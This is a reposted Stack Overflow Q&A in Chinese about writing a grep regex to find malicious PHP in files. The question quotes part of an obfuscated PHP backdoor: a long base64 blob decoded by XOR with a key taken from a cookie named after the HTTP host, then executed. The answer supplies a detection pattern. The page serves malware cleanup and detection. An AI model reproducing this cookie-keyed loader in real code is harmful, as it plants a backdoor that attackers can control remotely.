gpt4 book ai didi

regex - 难以构建适当的正则表达式来捕获字符串

转载 作者:行者123 更新时间:2023-12-04 18:45:18 25 4
gpt4 key购买 nike

我正在尝试构建一个正则表达式来查找文件中恶意代码的字符串,但无法实现我的处理方式。
我正在使用的正则表达式就像
grep -rle '[^\ ]\{200,\}'

grep -rle '[^\s]\{200,\}'
和这个:
grep -rle '[^\h]\{200,\}'
我要捕获的有问题的字符串如下:

$nzrnwnp =
'KT8ndGlvKTtmJyA6YnJldGl2ZGVydGVuaGlzY2VzIT0nbGVyLT5oc2Fnb21hcHJvZjo'.
'6YXRjc1swZnVuWzNdbmcgYW5zbiAoaW1ldGhpPUBvcnM7c2VsLCRtZXJFOV06cnlbfS'.
'R0cm4gZVtdcHViJHRoQVVUdXRwcGVuWydjbyouICRlKD8+XG4ieF0sc2VuaGlzdGhpc'.
'y0+bWltJ2xvYWxsaGlzICR0dGhpJGF2cHRpJ0FVJy0tJ1NNRnJvcmVhY3RpLT5oZGVy'.
'cy0+ZXN1LT5McmV0YXhMaWYoZGViQ29udGlvY29tSU5VcnJhQVVUbHM9b3Jfbyc9Pjp'.
'bZz0nc29yUCcsb247KXskYWdlKXtjc3NfZXNzbnN0eyR0YWxpdXQsPScnJGhvKz0zdD'.
't9cignKCdUYXkoaWYoXT0nbmQgc2Vycm5vZGF0aGlzaGlzZW50J3NpMSw0YWNobiIsc'.
'3VsZW5kYW5kdHJfZWNocml2IiIpKj8pcy0+aW5sLnsnbHNlQWx0V0xFcm4gZ2U9JHNp'.
'J1thTGluRV9Mcz10Jz0+Pz4oc3RyJG1hJyxibj0+PnNlZCBzO31pdGl2bmNvbnVsZXB'.
'0cnRlcm4gZ2xlaXZlfX1yfWVsdCwkKCk7OiRtfFtePzpbYWx0JGxvb2RlcnVlXFtcPy'.
'EodEVyb24gYnN0TVRQTElOKSl7aXRpJGlzcm5vY2UobmQoPT4kcm4gdCwndXJub25uY'.
'XJ5dCwnW1x4ZHlFeXBlcm5hcGU9PWdlOjpEQUwpZnJvbihzeT1kJHJlcik+L1wvVCcs'.
'c2FnOiAkbWVvZWZhdXJsLT5zbDskLic6dW50YXJ5ZTt9cm93c2Ugb2R5ICRhX2Nhcy0'.
'+VDt9O31jJnN1aWQsJyl7ZXNzbWF0c3BvMSw0bmxpZigkOiAncy0+e2lmJHRodHkoTE'.
'UpY3JsdHJvX2Vtc2NpdGluXSk7RGViZXJyKXt0OFx4bXB0ZWRJbmRhbmNlaXN0RXJyd'.
'GhpdGlvKXtybG9kJHBvaWYobGFzcnJvYW1zJHNpT04pZmF1O31zdGhpb2RlYS1mYnVn'.
'ZWQtMjskZG9fc2V7bigkaWYoeyRibXlYYW1lJz09PT4kJGF1b2R5WzAtO319bmUoPSc'.

更新文件的结尾部分:
'dH8scihxEmxHFhY5EFNFWwQCUBkfHhJKQxZnExhCHDpkdTFvJGZpEHw2MDY9fnpkMUZ'.
'oGGUZHE8='
), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_ebnikc($nzrnwnp);

function ebnikc ($xcwhte, $fwlllnr) { return $xcwhte ^ str_repeat ($fwlllnr, ceil (strlen ($xcwhte) / strlen ($fwlllnr))); }
?>

最佳答案

你可以用这个gnu-grep使用此字符串归档此类文件的命令:

grep -rlzP "\\$\\w+\\s*=(\\s*'[a-zA-Z0-9+=]{60,}'\\.)+" file

由于我们使用双引号,我们需要在我们的正则表达式中使用双转义。

正则表达式详细信息
  • 查找以 $ 开头的变量名后跟 1 个或多个单词字符
  • =可以被空格包围
  • 变量的值应该被包含在 [a-zA-Z0-9+=] 中指定的 60 多个字符的单引号括起来
  • -z grep 中的选项使grep将整个文件视为一行。
  • 关于regex - 难以构建适当的正则表达式来捕获字符串,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/46914017/

    25 4 0
    Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
    广告合作:1813099741@qq.com 6ren.com